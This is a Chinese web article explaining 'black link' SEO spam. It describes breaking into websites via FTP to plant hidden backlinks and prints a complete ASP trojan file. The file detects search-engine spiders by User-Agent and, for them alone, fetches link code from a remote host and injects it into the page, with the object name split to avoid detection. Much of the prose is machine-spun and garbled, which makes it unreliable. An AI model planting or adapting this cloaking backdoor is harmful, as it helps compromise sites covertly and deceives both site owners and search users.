黑链是搜索引擎优化手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获得的其它网站的反向链接,最常见的黑链就是通过各类网站法度缝隙获得搜索引擎权重或PR较高的网站的WEBSHELL,进而在被黑网站上链接自己的网站。
黑客们做黑链的体例可能多种多样,但手段其实只有两种,一种是直接在目标网站上直接加上特定的链接代码,别的一种只针对搜索引擎的拜候来做,让搜索引擎误认为目标站上存在着这样的链接。下面对这两种体例做一个详细的诠释。
1.直接在目标页面上加代码:这应该是最普通的一种手段,也是很容易发现的手段。以前的黑链年夜部分都是采取这种手段来进行。首先需要入侵目标站的FTP,然后针对网站所用的法度,在模板或其他的页面加上"隐形"的链接。这种手段隐蔽性比较差,如果目标站的办理员晓得一定的搜索引擎优化知识的话,很容易就会被发现。于是,更多的黑客起头使用第二个手段。
2.通过一段判定的代码,判定来访者的名称和IP地址,如果来访者是蜘蛛,则将别的一段包涵链接的代码插手到目标页面中。下面以一个ASP的例子进行说明:
黑客侵入到目标站的FTP,在法度里留下2个木马文件,一个文件名为int.asp,所包含的代码为:
<%On Error Resume Next user_agent=Request.ServerVariables("HTTP_USER_AGENT") httpuser=LCase
(request.servervariables("http_user_agent"))
if instr(httpuser,"百度")>0 or instr(httpuser,"谷歌")>0 or instr(httpuser,"sogou")>0 or instr(httpuser,"soso")>0
then Set ObjXMLHTTP=Server.createobject("MSX"+"ML2.s"+"erv"+"erXML"+"HTTP") ObjXMLHTTP.Open "GET","http://domain/a/193.txt",False ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1
objStream.Mode =3 objStream.Open objStream.Write
GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312″ GetHtml = objStream.ReadText objStream.Close key1=lcase(GetHtml) key1=Replace(key1&"","-istxt-","")
response.Write key1 end if %>
通过IP和拜候名称判定来访者是否为蜘蛛,将别的一个文件名字叫"193.txt"(主要是链接的代码)的文件写入到目标页面中。这样蜘蛛抓取的代码跟我们看到的代码是不一样的。非论是查抄网页源文件仍是用站长东西,都没体例发现黑链的存在。只有一种体例,那就是查抄快照存档的代码页面,才能够看出问题来。
第二种体例虽然复杂了点,可是不容易被发现,就算用这种体例让你的网站被K,你可能一时半刻都无法发现问题。实在属于杀手级别的黑链手段。
本文来自:.5jjdw/htmlcache/news/2012-08-01/161124.html,转载请注明出处。